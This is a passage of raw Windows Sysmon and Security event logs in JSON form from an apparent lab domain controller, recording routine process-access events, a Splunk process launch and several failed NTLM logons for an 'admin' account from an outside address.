C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221501,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60993\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60993","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221502,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61184\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61184","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221503,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61275\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61275","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.114\r\nProcessGuid: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nProcessId: 3580\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Performance monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-perfmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.114","ProcessGuid":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","FileVersion":"8.0.2","Description":"Performance monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-perfmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nTargetProcessId: 3580\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","TargetProcessId":"3580","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nTargetProcessId: 3580\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","TargetProcessId":"3580","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 